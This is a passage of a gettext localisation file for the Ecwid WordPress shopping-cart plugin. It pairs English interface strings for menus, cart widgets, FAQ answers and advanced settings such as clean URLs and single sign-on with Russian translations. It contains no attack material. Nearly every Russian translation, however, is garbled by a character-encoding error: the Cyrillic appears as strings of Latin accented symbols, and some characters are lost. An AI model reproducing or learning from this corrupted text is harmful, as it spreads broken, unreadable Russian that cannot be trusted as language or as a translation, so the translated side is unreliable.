accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "Чтобы показать товары магазина в диалоге вÑтавки товара, плагину нужно подключитьÑÑ Ðº вашему магазину %s. От Ð²Ð°Ñ Ð¿Ð¾Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ разрешить плагину доÑтуп к вашему магазину." #: ecwid-shopping-cart.php:2420 msgid "Recommendations for Your Online Store" msgstr "Рекомендации Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°" #: includes/class-ecwid-admin.php:21 msgid "%s shopping cart settings" msgstr "ÐаÑтройки %s" #: includes/class-ecwid-admin.php:22 msgid "%s Store" msgstr "Магазин %s" #: includes/class-ecwid-admin.php:48 includes/class-ecwid-admin.php:49 msgid "Sales" msgstr "Продажи" #: includes/class-ecwid-admin.php:68 msgid "Appearance settings" msgstr "ÐаÑтройки внешнего вида" #: includes/class-ecwid-admin.php:69 templates/product-popup.php:183 #: templates/store-popup.php:13 templates/store-popup.php:31 msgid "Appearance" msgstr "Внешний вид" #: includes/class-ecwid-admin.php:79 msgid "Advanced settings" msgstr "Дополнительные наÑтройки" #: includes/class-ecwid-admin.php:80 msgid "Advanced" msgstr "Дополнительные" #: includes/class-ecwid-admin.php:93 includes/class-ecwid-admin.php:94 msgid "Help" msgstr "Помощь" #: includes/class-ecwid-integration-divibuilder.php:25 msgid "Ecwid" msgstr "Эквид" #: includes/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "" #: includes/class-ecwid-message-manager.php:45 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "" #: includes/class-ecwid-message-manager.php:194 msgid "Greetings! Your %s plugin is now active." msgstr "Добро пожаловать в %s!" #: includes/class-ecwid-message-manager.php:195 msgid "Take a few simple steps to complete store setup" msgstr "Магазин почти готов — оÑталоÑÑŒ неÑколько проÑтых шагов" #: includes/class-ecwid-message-manager.php:205 msgid "Set up your store" msgstr "ÐаÑтроить магазин" #: includes/class-ecwid-message-manager.php:204 msgid "Your store is almost ready!" msgstr "Магазин почти готов!" #: includes/class-ecwid-message-manager.php:205 msgid "Complete setup and start selling" msgstr "Завершите уÑтановку и начните продавать" #: includes/class-ecwid-message-manager.php:206 msgid "Complete Setup" msgstr "Продолжить уÑтановку" #: includes/class-ecwid-message-manager.php:212 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Добавьте дополнительные Ñлементы магазина, перетащив виджеты %s в нужное меÑто Ñайта. ПоÑле уÑтановки виджетов можете вернутьÑÑ Ðº наÑтройкам магазина." #: includes/class-ecwid-message-manager.php:213 msgid "Back to Store Settings" msgstr "ВернутьÑÑ Ðº наÑтройкам" #: includes/class-ecwid-message-manager.php:220 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "Вам нравитÑÑ Ð²Ð°Ñˆ магазин? Будем благодарны, еÑли вы оÑтавите отзыв и проголоÑуете за %s на Ñайте WordPress." #: includes/class-ecwid-message-manager.php:224 msgid "Rate %s at WordPress.org" msgstr "Оценить %s на WordPress.org" #: includes/class-ecwid-nav-menus.php:25 msgid "Ecwid Menu Item" msgstr "Пункт меню Эквид" #: includes/class-ecwid-nav-menus.php:143 msgid "Store Page" msgstr "Страница магазина" #: includes/class-ecwid-nav-menus.php:254 msgid "Select All" msgstr "Выбрать вÑе" #: includes/class-ecwid-nav-menus.php:257 msgid "Add to Menu" msgstr "Добавить в меню" #: includes/class-ecwid-nav-menus.php:273 msgid "Cart" msgstr "Корзина" #: includes/class-ecwid-nav-menus.php:276 #: includes/widgets/class-ecwid-widget-minicart.php:6 msgid "Shopping Cart" msgstr "Корзина" #: includes/class-ecwid-nav-menus.php:281 #: includes/class-ecwid-nav-menus.php:284 #: includes/widgets/class-ecwid-widget-search.php:10 msgid "Product Search" msgstr "ПоиÑк товаров" #: includes/class-ecwid-nav-menus.php:289 #: includes/class-ecwid-nav-menus.php:292 msgid "My Account" msgstr "Профиль" #: includes/class-ecwid-nav-menus.php:305 msgid "Store with Categories Menu" msgstr "Магазин Ñ Ð¼ÐµÐ½ÑŽ категорий" #: includes/class-ecwid-product-popup.php:94 msgid "Add Product" msgstr "Добавить товар" #: includes/class-ecwid-product-popup.php:134 msgid "First Page" msgstr "Ðачало" #: includes/class-ecwid-product-popup.php:135 msgid "Previous Page" msgstr "ПредыдущаÑ" #: includes/class-ecwid-product-popup.php:136 msgid "Next Page" msgstr "СледующаÑ" #: includes/class-ecwid-product-popup.php:137 msgid "Last Page" msgstr "Конец" #: includes/class-ecwid-store-editor.php:44 templates/store-popup.php:11 #: templates/store-popup.php:19 msgid "Add Store" msgstr "Добавить магазин" #: includes/class-ecwid-store-editor.php:52 msgid "Edit Store" msgstr "ÐаÑтройки магазина" #: includes/class-ecwid-store-editor.php:67 msgid "Edit Appearance" msgstr "ÐаÑтроить внешний вид" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "БезопаÑен ли Эквид?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Эквид Ñертифицирован по Ñтандарту PCI DSS Level 1. Это выÑший уровень ÑоответÑÑ‚Ð²Ð¸Ñ Ð¼Ð¸Ñ€Ð¾Ð²Ñ‹Ð¼ требованиÑм безопаÑной передачи данных: Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ магазина и ваших клиентов надёжно защищена. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/ru/articles/207101259-Wordpress#security\">Подробнее о безопаÑноÑти.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "Как быÑтро внеÑти Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² каталог товаров?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Лучший ÑпоÑоб быÑтро изменить что-либо в товаре – воÑпользоватьÑÑ Ð¼Ð¾Ð±Ð¸Ð»ÑŒÐ½Ñ‹Ð¼ приложение. Приложение Эквида Ð´Ð»Ñ iOS и Android доÑтупно Ñ Ð»ÑŽÐ±Ñ‹Ð¼ платным тарифным планом и поможет вам управлÑть заказами, вноÑить Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² каталог товаров и региÑтрировать новые покупки при личных вÑтречах Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñми где бы вы ни находилиÑÑŒ. <a target=\"_blank\" href=\"https://www.ecwid.ru/blog/quick-mobile-connect.html\">Подробнее о мобильном приложении.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "Как добавить магазин на Facebook?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Ð’Ñ‹ можете размеÑтить магазин не только на Ñвоём WordPress-Ñайте, но и на любой другой Ñтранице Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Facebook. Ð—ÐµÑ€ÐºÐ°Ð»ÑŒÐ½Ð°Ñ ÐºÐ¾Ð¿Ð¸Ñ Ð²Ð¸Ñ‚Ñ€Ð¸Ð½Ñ‹ мгновенно отражает любые Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² магазине. Ðовые товары в каталоге, наличие на Ñкладе, заказы и покупатели – вÑе данные раÑпроÑтранÑÑŽÑ‚ÑÑ Ð¼ÐµÐ¶Ð´Ñƒ витринами на лету. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/ru/articles/115005892705-%D0%9C%D0%B0%D0%B3%D0%B0%D0%B7%D0%B8%D0%BD-%D0%BD%D0%B0-%D0%A4%D0%B5%D0%B9%D1%81%D0%B1%D1%83%D0%BA%D0%B5\">Подробнее об уÑтановке на Facebook.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "Как добавить корзину в боковую панель Ñайта (sidebar)?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Ð’Ñ‹ можете добавить корзину, форму Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка товаров и другие Ñлементы магазина в боковую панель на Ñтранице <a href=\"%s\">«Внешний вид > Виджеты»</a>." #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "Сколько Ñтоит Эквид?" #: includes/faq_entries.php:39 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Мы предлагаем 4 тарифных плана: от беÑплатного Ñ 10 товарами до безлимитного. Платные тарифные планы раÑширÑÑŽÑ‚ возможноÑти магазина и открывают перÑональную техничеÑкую поддержку в реальном времени.<br /><a target=\"_blank\" href=\"%s\">Подробнее о раÑценках.</a>" #: includes/faq_entries.php:45 msgid "How do I add store categories to the site menu?" msgstr "Как добавить категории в меню Ñайта?" #: includes/faq_entries.php:46 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Перейдите на Ñтраницу «Внешний вид > Меню», добавьте Ñлемент «Магазин Ñ Ð¼ÐµÐ½ÑŽ категорий» в меню и Ñохраните изменениÑ. Сразу поÑле ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¼ÐµÐ½ÑŽ Ñайта пополнитÑÑ Ð²Ñ‹Ð¿Ð°Ð´Ð°ÑŽÑ‰Ð¸Ð¼ ÑпиÑком категорий вашего магазина." #: includes/faq_entries.php:52 msgid "How do I put my products in the sitemap?" msgstr "Как добавить товары в карту Ñайта (sitemap)?" #: includes/faq_entries.php:53 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ°Ñ€Ñ‚Ñ‹ Ñайта мы рекомендуем иÑпользовать плагин <a target=\"_blank\" href=\"https://ru.wordpress.org/plugins/google-sitemap-plugin/\">Google XML Sitemaps</a> или <a target=\"_blank\" href=\"https://ru.wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. ПоÑле уÑтановки плагин ÑоздаÑÑ‚ карту Ñайта, Ñодержащую ÑÑылки на Ñтраницы товаров и категорий, и уÑкорит их индекÑацию поиÑковыми движками. Чтобы воÑпользоватьÑÑ Ñтой возможноÑтью подпишитеÑÑŒ на любой <a target=\"_blank\" href=\"https://www.ecwid.ru/pricing\">платный тарифный план</a>." #: includes/faq_entries.php:58 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "Как добавить отдельный товар Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ð¾Ð¹ на Ñтраницу Ñайта?" #: includes/faq_entries.php:59 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Чтобы размеÑтить товар магазина на Ñтраницах Ñайта отдельно от оÑтальных, иÑпользуйте короткий код [ecwid_product]. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/ru/articles/207101259-Wordpress#embedasingleproduct\">ÐŸÐ¾ÑˆÐ°Ð³Ð¾Ð²Ð°Ñ Ð¸Ð½ÑтрукциÑ.</a>" #: includes/faq_entries.php:65 msgid "Is it possible to display my store on the site home page?" msgstr "Как добавить магазин на домашнюю Ñтраницу?" #: includes/faq_entries.php:66 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Перейдите на Ñтраницу <a href=\"options-reading.php\">«ÐаÑтройки > Чтение»</a> и выберите «Магазин\t» в выпадающем ÑпиÑке главной Ñтраницы." msgid "Is there a WordPress theme for Ecwid?" msgstr "СущеÑтвуют ли темы Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°?" #: includes/faq_entries.php:66 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Эквид ÑовмеÑтим Ñ Ð»ÑŽÐ±Ð¾Ð¹ темой, будь то беÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð° из каталога WordPress.org, Ð¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð° или Ð·Ð°ÐºÐ°Ð·Ð½Ð°Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ°. Ваш магазин должен работать хорошо в любом Ñлучае. ЕÑли вы ищете хорошие премиум-темы, мы рекомендуем <a href=\"%s\">TemplateMonster</a>" #: includes/oembed.php:68 includes/oembed.php:97 templates/help.php:96 msgid "See more" msgstr "ПоÑмотреть вÑе" #: includes/themes/class-ecwid-theme-twentyfifteen.php:32 #: includes/themes/class-ecwid-theme-twentyfifteen.php:38 #: includes/themes/class-ecwid-theme-twentyseventeen.php:47 #: includes/themes/class-ecwid-theme-twentyseventeen.php:53 #: includes/themes/class-ecwid-theme-twentysixteen.php:35 #: includes/themes/class-ecwid-theme-twentysixteen.php:41 #: includes/widgets/class-ecwid-widget-store-link.php:29 msgid "Shop" msgstr "Магазин" #: includes/widgets/class-ecwid-widget-badge.php:9 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "ЕÑли вам нравитÑÑ Ð­ÐºÐ²Ð¸Ð´ и вы хотите помочь ему Ñтать Ñамым популÑрным конÑтруктором интернет-магазинов, вы можете добавить значок на Ñайт, чтобы показать поÑетителÑм, что вы пользуетеÑÑŒ Эквидом." #: includes/widgets/class-ecwid-widget-badge.php:10 msgid "Ecwid Badge" msgstr "Значок Эквида" #: includes/widgets/class-ecwid-widget-badge.php:17 #: includes/widgets/class-ecwid-widget-badge.php:23 msgid "Ecwid shopping cart widget" msgstr "Виджет интернет-магазина Эквид" #: includes/widgets/class-ecwid-widget-badge.php:29 #: includes/widgets/class-ecwid-widget-badge.php:65 msgid "Ecwid ecommerce solution" msgstr "Решение Ð´Ð»Ñ Ñлектронной коммерции Эквид" #: includes/widgets/class-ecwid-widget-badge.php:35 #: includes/widgets/class-ecwid-widget-badge.php:71 msgid "Ecwid free shopping cart" msgstr "БеÑпланный конÑтруктов интернет-магазинов Эквид" #: includes/widgets/class-ecwid-widget-badge.php:41 #: includes/widgets/class-ecwid-widget-badge.php:53 msgid "Ecwid shopping cart" msgstr "Интернет-магазин Эквид" #: includes/widgets/class-ecwid-widget-badge.php:47 #: includes/widgets/class-ecwid-widget-badge.php:59 msgid "Ecwid e-commerce widgets" msgstr "Виджеты Ð´Ð»Ñ Ñлектронной коммерции Эквид" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:15 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "ДобавлÑет плавающий виджет корзины Ñо Ñчетчиком товаров." #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:16 msgid "Shopping Cart (Floating)" msgstr "Корзина (ПлавающаÑ)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:110 msgid "Position" msgstr "Положение на Ñтранице" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:113 msgid "Bottom right" msgstr "Справа внизу" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:118 msgid "Top right" msgstr "Справа вверху" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:5 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "ДобавлÑет компактный виджет корзины Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ñ‹Ñтрого доÑтупа к добавленным товарам." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:6 msgid "Shopping Cart (Mini)" msgstr "Корзина (Мини)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:44 #: includes/widgets/class-ecwid-widget-minicart.php:44 #: includes/widgets/class-ecwid-widget-search.php:49 #: includes/widgets/class-ecwid-widget-vcategories.php:43 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:71 msgid "Title:" msgstr "Ðазвание:" #: includes/widgets/class-ecwid-widget-minicart.php:5 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "ДобавлÑет виджет корзины Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ñ‹Ñтрого доÑтупа к добавленным товарам." #: includes/widgets/class-ecwid-widget-recently-viewed.php:9 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Показывает ÑпиÑок товаров, проÑмотренных покупателем. ПозволÑет покупателю быÑтро перейти к товарам, которые их заинтереÑовали раньше." #: includes/widgets/class-ecwid-widget-recently-viewed.php:10 #: includes/widgets/class-ecwid-widget-recently-viewed.php:153 msgid "Recently Viewed Products" msgstr "ПроÑмотренные товары" #: includes/widgets/class-ecwid-widget-recently-viewed.php:124 #: includes/widgets/class-ecwid-widget-recently-viewed.php:154 msgid "You have not viewed any product yet. Open store." msgstr "Ð’Ñ‹ пока что не проÑмотрели ни одного товара. Открыть магазин." #: includes/widgets/class-ecwid-widget-recently-viewed.php:164 #: templates/product-popup.php:160 msgid "Title" msgstr "Ðазвание" #: includes/widgets/class-ecwid-widget-recently-viewed.php:165 msgid "Store Link Title" msgstr "Ðазвание блока" #: includes/widgets/class-ecwid-widget-recently-viewed.php:166 msgid "Number of products to show" msgstr "КоличеÑтво товаров Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ" #: includes/widgets/class-ecwid-widget-search.php:9 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Показывает покупателю поле поиÑка товаров в магазине" #: includes/widgets/class-ecwid-widget-store-link.php:5 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Показывает ÑÑылку на Ñтраницу магазина, позволÑющую покупателю быÑтро открыть магазин из любой Ñтраницы на Ñайте." #: includes/widgets/class-ecwid-widget-store-link.php:6 msgid "Store Page Link" msgstr "СÑылка на магазин" #: includes/widgets/class-ecwid-widget-store-link.php:33 msgid "Text" msgstr "ТекÑÑ‚ ÑÑылки" #: includes/widgets/class-ecwid-widget-vcategories.php:5 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Показывает вертикальный ÑпиÑок категорий Ð´Ð»Ñ ÑƒÐ´Ð¾Ð±Ð½Ð¾Ð¹ навигации по магазину." #: includes/widgets/class-ecwid-widget-vcategories.php:6 msgid "Store Categories" msgstr "Категории магазина" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:11 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Показывает ÑпиÑок корневых категорий Ð´Ð»Ñ ÑƒÐ´Ð¾Ð±Ð½Ð¾Ð¹ навигации по магазину." #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:12 msgid "Store Root Categories" msgstr "Корневые категории магазина" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:22 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:68 msgid "Browse by Category" msgstr "Категории магазина" #: lib/ecwid_platform.php:59 templates/product-popup.php:171 msgid "Price" msgstr "Цена" #: templates/admin-footer.php:4 msgid "Manage Store on iPhone, iPad or Android" msgstr "УправлÑйте магазином Ñ iPhone, iPad, Android" #: templates/admin-footer.php:7 msgid "Get %s mobile app" msgstr "УÑтановить мобильное приложение %s" #: templates/admin-footer.php:13 msgid "Questions?" msgstr "ЕÑть вопроÑÑ‹?" #: templates/admin-footer.php:21 msgid "Want to connect another %s store?" msgstr "Хотите подключить другой %s-магазин?" #: templates/admin-footer.php:23 msgid "<a %s>Reconnect</a>" msgstr "<a %s>ОтвÑзать Эквид-аккаунт от Ñайта и подключить другой</a>" #: templates/admin-message.php:45 msgid "Never show this message again" msgstr "Больше не показывать Ñто Ñообщение" #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "ПроÑтите, у Ð½Ð°Ñ Ñ‚ÐµÑ…Ð½Ð¸Ñ‡ÐµÑкие проблемы." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Мы уже работаем над иÑправлением проблемы. Перезагрузите Ñтраницу через пару минут. ЕÑли проблема ÑохранитÑÑ, пожалуйÑта, <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">ÑвÑжитеÑÑŒ Ñ Ð½Ð°Ð¼Ð¸</a>." #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Дополнительные наÑтройки" #: templates/advanced-settings.php:29 msgid "SEO friendly clean URLs" msgstr "SEO URLs" #: templates/advanced-settings.php:34 msgid "This enables new clean URLs format in your store. The new urls do not contain hash sign ('#'), so they look nicer and are better indexed by Google." msgstr "Включает новый \"чиÑтый\" формат ÑÑылок на товары и категории в магазине. Ðовые ÑÑылки не Ñодержат Ñимвола \"#\" и лучше индекÑируютÑÑ Ð¿Ð¾Ð¸Ñковыми ÑиÑтемами." #: templates/advanced-settings.php:38 msgid "To enable clean URLs in your store, you will need to enable pretty permalinks in your WordPress site settings. Navigate to <a%s>Settings->Permalink</a> and enable the \"Post name\" permalink type." msgstr "Чтобы включить SEO URLs в магазине, вам потребуетÑÑ Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° включить улучшенную Ñтруктуру поÑтоÑнных ÑÑылок в наÑтройках Wordpress. Ð”Ð»Ñ Ñтого в меню \"<a%s>ÐаÑтройки -> ПоÑтоÑнные ÑÑылки</a>\" выберите тип ÑÑылок \"Ðазвание запиÑи\"." #: templates/advanced-settings.php:44 msgid "Note: the new URLs will be automatically enabled for every store in one of upcoming updates so please make sure to check how the new URLs work in your store and <a %s>let us know</a> if you face any trouble with them" msgstr "Ðовые SEO URLs магазина будут включены по умолчанию в одной из будущих верÑий плагина. ПоÑтому мы рекомендуем вам включить Ñту опцию и попробовать SEO URLs на Ñвоём Ñайте. ЕÑли вы заметите какие-либо проблемы, пожалуйÑта, <a %s>дайте нам знать</a>, мы поможем." #: templates/advanced-settings.php:44 templates/advanced-settings.php:188 msgid "https://support.ecwid.com/hc/en-us/requests/new" msgstr "https://support.ecwid.com/hc/ru/requests/new" #: templates/advanced-settings.php:57 templates/store-popup.php:154 msgid "Category shown by default" msgstr "КатегориÑ, Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð¿Ð¾ умолчанию" #: templates/advanced-settings.php:61 templates/store-popup.php:161 msgid "Store root category" msgstr "ÐšÐ¾Ñ€Ð½ÐµÐ²Ð°Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°" #: templates/advanced-settings.php:74 msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "По умолчанию, магазин показывает корневые категории. ЗдеÑÑŒ можно выбрать другую категорию Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ, когда покупатель впервые открывает ваш магазин. Это может быть полезно, еÑли у Ð²Ð°Ñ ÐµÑть только одна ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¸Ð»Ð¸ вы хотите показывать определённые набор товаров (например, Ñпециальные предложениÑ) новым пользователÑм." #: templates/advanced-settings.php:97 msgid "Customer Single Sign-On" msgstr "Единый вход Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»ÐµÐ¹" #: templates/advanced-settings.php:102 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "ОбъединÑет учетную запиÑÑŒ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° Ñайте Ñ ÐµÐ³Ð¾ учетной запиÑью в %s. Когда единый вход включен, покупателю не нужно логинитьÑÑ Ð´Ð²Ð°Ð¶Ð´Ñ‹ – на Ñайте и в магазине. ПоÑле входа в Ñвой аккаунт на Ñайте покупатель может Ñмотреть иÑторию Ñвоих заказов и оформлÑть новый заказ Ñ Ð¿Ñ€ÐµÐ´Ð·Ð°Ð¿Ð¾Ð»Ð½ÐµÐ½Ð½Ñ‹Ð¼ email и адреÑом доÑтавки." #: templates/advanced-settings.php:109 msgid "Upgrade to get this feature" msgstr "ПодпишитеÑÑŒ на платный план, чтобы получить Ñту возможноÑть" #: templates/advanced-settings.php:112 msgid "Please subscribe to a paid plan to get this feature." msgstr "ПодпишитеÑÑŒ на платный план, чтобы получить Ñту функциональноÑть." #: templates/advanced-settings.php:118 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Чтобы плагин автоматичеÑки объединÑл учетные запиÑи Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° Ñайте и в магазине %s, нужно дать ему доÑтуп до данных покупателей в магазине. <a %s>Перейдите по Ñтой ÑÑылке, чтобы предоÑтавить доÑтуп</a>." #: templates/advanced-settings.php:124 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Чтобы покупатели Ñмогли региÑтрироватьÑÑ, убедитеÑÑŒ, что региÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð° в <a %s>наÑтройках Ñайта</a>" #: templates/advanced-settings.php:146 msgid "Chameleon skin" msgstr "Тема \"Хамелеон\"" #: templates/advanced-settings.php:150 msgid "Automatic adjustment of your store design to your WordPress theme. Whatever WordPress theme you use, %s will detect predominant colors and font and use them in your product catalog." msgstr "ÐвтоматичеÑÐºÐ°Ñ Ð¿Ð¾Ð´Ñтройка внешнего вида магазина под Ñтили темы Ñайта. Включите Ñту опцию, чтобы %s определÑл цвета и шрифты Ñайта и иÑпользовал их в каталоге товаров." #: templates/advanced-settings.php:153 msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgstr 